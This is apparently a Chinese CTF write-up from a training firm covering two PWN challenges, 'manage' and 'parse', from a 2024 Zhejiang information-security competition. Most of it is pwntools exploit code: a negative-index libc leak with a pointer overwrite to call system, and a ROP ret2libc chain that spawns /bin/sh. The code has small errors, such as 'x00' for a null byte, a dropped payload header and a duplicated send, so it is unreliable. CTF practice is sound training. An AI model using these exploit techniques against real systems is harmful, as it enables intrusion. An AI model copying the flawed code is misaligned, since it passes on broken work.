2024年浙江省信息通信行业职业技能竞赛信息安全测试员竞赛CTF比赛PWN部分

浙江省信息通信行业职业技能竞赛信息安全测试员竞赛CTF比赛PWN部分

Author:Ns100kUp
From:极安云科-服务中心
Data:2024/08/07
Copyright:本内容版权归属极安云科,未经授权不得以任何形式复制、转载、摘编和使用。
培训、环境、资料、考证
公众号:Geek极安云科
网络安全群:624032112
网络系统管理群:223627079 
网络建设与运维群:870959784 

极安云科专注于技能提升,赋能
2024年广东省高校的技能提升,受赋能的客户院校均获奖!
2024年江苏省赛一二等奖前13名中,我们赋能客户占五支队伍!
2024年湖南省赛赋能三所院校均获奖!
2024年山东省赛赋能两所院校均获奖!
2024年湖北省赛赋能参赛院校九支队伍,共计斩获一等奖2项、三等奖7项!

1.manage

from pwn import *

# 创建连接到远程服务器的进程,三个函数:add()、edit()和show(),分别用于添加、编辑和显示数据。调用show()函数并接收返回的数据,从中获取了地址信息。
sh = process("manage")
sh = remote("127.0.0.1", 9999)

libc = ELF("libc.so.6")

def add(content, name):
    sh.recvuntil("exit")
    sh.sendline("1")
    sh.recvuntil("your ID card:")
    sh.send(content)
    sh.recvuntil("our name:")
    sh.send(name)

def edit(index, content, name):
    sh.recvuntil("exit")
    sh.sendline("3")
    sh.recvuntil("index:")
    sh.sendline(str(index))
    sh.recvuntil("your ID card:")
    sh.send(content)
    sh.recvuntil("our name:")
    sh.send(name)

def show(index):
    sh.recvuntil("exit")
    sh.sendline("2")
    sh.recvuntil("index:")
    sh.sendline(str(index))

show(-1)
sh.recvuntil("D card: ")

addr = u64(sh.recv(6).ljust(8, b"x00"))
log.info('addr: '+hex(addr))
libcbase = addr - 0x1ed5c0
'''
        
execve("/bin/sh", rdi, rsi)
constraints:
[rdi] == NULL || rdi == NULL
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
execve("/bin/sh", rdi, rdx)
constraints:
[rdi] == NULL || rdi == NULL
[rdx] == NULL || rdx == NULL
[rsi] == NULL || rsi == NULL
'''
# attach(sh, "b*40f1f2")
payload1 = p64(libcbase + libc.symbols['puts']) + p64(0x4010C0) + p64(libcbase + libc.symbols['printf'])
payload2 = p64(0x4010F0) + p64(libcbase + libc.symbols['system'])

edit(-3,payload1,payload2)
sh.recvuntil("exit")
sh.sendline("/bin/sh;")
sh.sendline("cat flag.txt")
# attach(sh)
sh.interactive()
# 生成两个payload,payload1和payload2,包含了puts和printf函数的地址,以及system函数的地址。调用edit()函数传入这两个payload,发送命令/bin/sh; cat flag.txt

image-20240812202047327

2.parse

from pwn import *
elf = ELF("./pwn")
sh = process("./pwn")
libc = ELF("libc.so.6")
"0x00000000004018c3 : pop rdi ; ret"
"0x00000000004018c2 : pop r15 ; ret "
#两个内存地址,表示在程序或库文件中找到的两个指令,分别是pop rdi ; ret和pop r15 ; ret。这些地址将在后面构造payload时使用。
sh.recvuntil("file data")
payload = p32(0x12345678)
payload += p32(0x0)
payload += b"a"*0x108
payload += p64(0x00000000004010a1)
payload += p64(0x00000000004018c3)
payload += p64(elf.got["puts"])
payload += p64(elf.plt["puts"])
payload += p64(0x4014E1)
payload = payload.ljust(520, b"a")
payload += p32(1)
# attach(sh,"b*4014E1")
# raw_input()
sh.sendline(payload)
#这部分构建了一个payload,其中包含了一些特定值和地址。这个payload将会被发送给程序

sh.recvuntil("ding....\n")
addr = u64(sh.recv(6).ljust(8,b"\x00"))
libcbase = addr - libc.symbols["puts"]
#这部分接收程序输出的一部分,然后解析出一个64位地址。这个地址减去puts函数在库文件中的地址,得到库文件的基址。
"0xe3afe execve(\"/bin/sh\", rdi, rsi)"
"0xe3b01 execve(\"/bin/sh\", rdi, rdx)"
"0xe3b04 execve(\"/bin/sh\", rsi, rdx)"
#这部分是三个不同的execve系统调用的地址,每个调用都指向/bin/sh,但是参数寄存器不同。
sh.recvuntil("file data")
addr = p32(0x12345678)
payload = p32(0x0)
payload += b"a"*0x108
payload += p64(0x00000000004010a1)
payload += p64(0x00000000004018c3)
payload += p64(libcbase + next(libc.search(b"/bin/sh")))
payload += p64(libcbase + libc.symbols["system"])
payload = payload.ljust(520, b"a")
payload += p32(1)
# attach(sh,"b*4014E1")
# raw_input()

sh.sendline(payload)
sh.sendline("cat flag.txt")
sh.sendline(payload)
sh.interactive()


#这部分再次构建了一个新的payload,这次的目标是执行/bin/sh。这个payload与之前的类似,但有一些变化:
#p32(0x12345678):一个32位整数。
#b"a"*0x108:长度为0x108个字节的填充字符串。
#p64(0x00000000004010a1):一个64位地址。
#p64(0x00000000004018c3):一个64位地址。
#p64(libcbase + next(libc.search(b"/bin/sh"))):库文件中/bin/sh的地址。
#p64(libcbase + libc.symbols["system"]):库文件中system函数的地址。
#payload.ljust(520, b"a"):将payload调整为520个字节,不足的部分用a填充。
#p32(1):一个32位整数。
#最后将payload发送给程序,并发送命令cat flag.txt,然后进入交互模式。

image-20240812202659700

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值